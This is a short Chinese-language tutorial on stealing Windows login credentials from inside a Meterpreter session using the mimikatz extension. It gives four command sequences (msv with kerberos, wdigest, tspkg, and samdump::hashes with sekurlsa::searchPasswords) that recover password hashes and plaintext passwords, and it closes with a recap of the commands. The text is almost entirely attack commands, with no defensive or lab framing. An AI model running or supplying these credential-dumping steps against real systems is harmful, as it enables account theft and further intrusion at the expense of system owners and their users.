进去meterpreter后getuid一下
这获得系统管理员权限
开始
加载mimikatz模块
load mimikatz
加载成功.
第一种方法：
获取登录密码的hash值
msv
上面已经是得到hash值了. 下面算明文密码.
获取明文密码
kerberos
look...拿到登录的明文密码了.
第二种方法：
使用另一种方式获取哈希值
mimikatz_command -f samdump::hashes
根据上面的方式获取明文密码
mimikatz_command -f sekurlsa::searchPasswords
第三种方法：
Wdigest命令
这个命令呢, 没有上面的复杂,加载模块后直接调用这个wdigest.
wdigest
第四种方法：
tspkg命令
tspkg
总结
一、
load mimikatz #加载mimikatz
msv #获取hash值
kerberos #获取明文
二、
load mimikatz #加载mimikatz
wdigest #获取系统账户信息
三、
load mimikatz #加载mimikatz
tspkg #获取系统账户信息
四、
load mimikatz #加载mimikatz
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::searchPasswords